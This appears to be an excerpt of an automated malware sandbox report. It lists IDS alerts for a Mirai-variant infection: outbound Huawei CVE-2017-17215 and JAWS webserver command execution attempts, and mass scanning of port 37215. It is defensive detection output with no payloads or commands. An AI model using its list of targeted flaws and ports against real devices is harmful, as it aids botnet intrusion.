Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37930 -> 41.48.43.22:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55136 -> 41.49.143.122:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50368 -> 41.239.240.33:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:32938 -> 156.25.122.218:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46584 -> 156.28.111.76:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:55716 -> 98.92.4.184:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:55716 -> 98.92.4.184:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37824 -> 12.153.247.78:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:37824 -> 12.153.247.78:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:40212 -> 212.150.71.115:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38632 -> 156.102.240.87:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:40212 -> 212.150.71.115:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34558 -> 71.112.255.81:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:34558 -> 71.112.255.81:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:58440 -> 148.164.163.137:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:58440 -> 148.164.163.137:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:38136 -> 136.232.25.202:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:38136 -> 136.232.25.202:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:52442 -> 162.147.6.162:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:52442 -> 162.147.6.162:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:43616 -> 149.178.71.70:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:43616 -> 149.178.71.70:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:39578 -> 96.49.204.55:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:39578 -> 96.49.204.55:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34276 -> 139.128.173.196:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:34276 -> 139.128.173.196:80

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.230.43.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.11.113.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.124.141.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.53.89.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.177.115.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.101.105.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.138.175.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.136.182.188 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.95.156.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.128.32.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.168.71.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.220.201.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.165.52.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.34.106.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.106.86.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.2.214.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.16.233.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.2.201.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.194.4.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.70.10.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.134.176.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.117.137.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.255.241.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.17.215.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.236.240.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.69.65.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.87.42.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.233.224.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.249.223.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.243.164.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.235.61.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.143.129.205 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.247.63.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.1.99.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.29.124.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.92.245.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.34.78.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.136.129.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.165.105.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.129.229.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.205.147.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.82.200.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.116.130.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.150.102.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.9.15.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.144.103.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.104.121.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.184.225.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.204.135.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.217.75.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.132.82.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.57.29.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.116.100.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.25.206.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.236.246.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.250.227.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.161.149.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.131.51.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.216.13.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.151.179.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.56.183.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.11.84.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.227.28.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.71.16.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.214.7.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.35.146.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.240.66.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.95.232.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.114.33.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.4.208.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.162.175.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.183.220.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.231.168.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.156.39.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.216.78.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.117.72.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.210.187.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.66.64.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.75.60.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.111.231.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.243.181.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.162.117.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.114.95.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.101.253.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.49.99.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.44.56.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.63.12.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.78.74.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.222.233.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.171.178.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.27.239.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.228.237.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.252.187.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.172.190.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.34.179.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.14.50.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.233.234.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.28.238.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.186.95.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.241.162.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.201.0.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.141.84.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.44.142.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.47.90.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.143.136.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.38.35.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.250.157.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.224.115.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.102.249.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.211.1.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.13.93.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.74.39.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.76.67.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.154.94.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.41.245.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.128.149.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.206.161.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.235.214.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.208.58.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.16.174.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.87.20.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.243.155.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.201.50.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.177.248.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.228.87.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.202.214.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.216.90.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.171.164.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.134.62.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.213.129.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.62.239.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.56.227.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.172.136.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.65.11.188 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.216.94.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.164.246.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.9.233.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.107.5.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.64.140.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.235.185.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.111.16.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.207.98.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.82.167.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.177.181.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.200.87.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.222.52.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.87.76.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.12.222.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.114.121.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.149.27.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.65.36.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.181.137.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.46.2.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.148.61.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.158.187.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.205.13.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.225.187.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.115.211.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.11.51.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.142.128.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.65.82.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.176.33.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.164.57.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.146.181.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.148.223.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.240.38.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.53.105.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.35.238.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.10.161.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.229.163.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.245.236.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.137.53.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.65.168.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.90.229.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.104.156.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.207.133.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.59.40.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.70.60.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.210.100.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.82.15.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.241.231.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.177.118.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.85.45.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.170.26.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.230.86.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.16.203.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.37.21.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.56.19.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.92.103.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.13.142.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.84.34.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.226.208.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.153.28.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.252.175.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.163.114.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.157.30.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.20.47.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.180.132.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.27.64.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.139.143.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.244.187.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.65.180.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.149.141.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.209.114.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.208.165.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.58.61.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.85.67.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.195.129.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.74.12.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.100.60.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.120.155.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.111.102.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.117.72.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.219.115.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.202.198.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.134.209.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.108.154.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.238.147.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.249.251.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.171.165.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.44.49.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.148.82.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.228.227.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.208.121.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.83.29.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.172.41.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.187.41.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.0.213.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.166.137.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.10.154.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.243.155.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.54.65.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.154.134.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.73.14.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.74.131.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.182.144.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.135.79.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.73.250.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.103.246.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.28.93.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.156.151.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.69.179.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.66.252.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.31.128.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.205.93.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.182.234.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.21.102.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.54.12.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.129.132.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.86.46.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.118.208.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.144.107.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.244.33.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.26.109.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.18.196.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.45.76.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.135.98.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.5.211.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.9.230.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.211.30.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.134.164.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.35.24.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.18.213.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.99.24.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.225.69.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.247.98.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.185.55.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.144.219.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.184.117.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.32.108.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.131.21.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.255.58.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.147.119.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.133.210.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.73.228.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.213.72.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.111.49.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.97.73.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.225.181.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.222.104.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.251.168.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.201.101.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.133.221.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.126.56.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.248.192.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.53.67.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.50.62.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.163.216.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.28.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.149.81.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.145.76.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.90.29.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.65.121.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.40.26.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.211.244.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.161.115.45 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 34680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36896 -> 37215
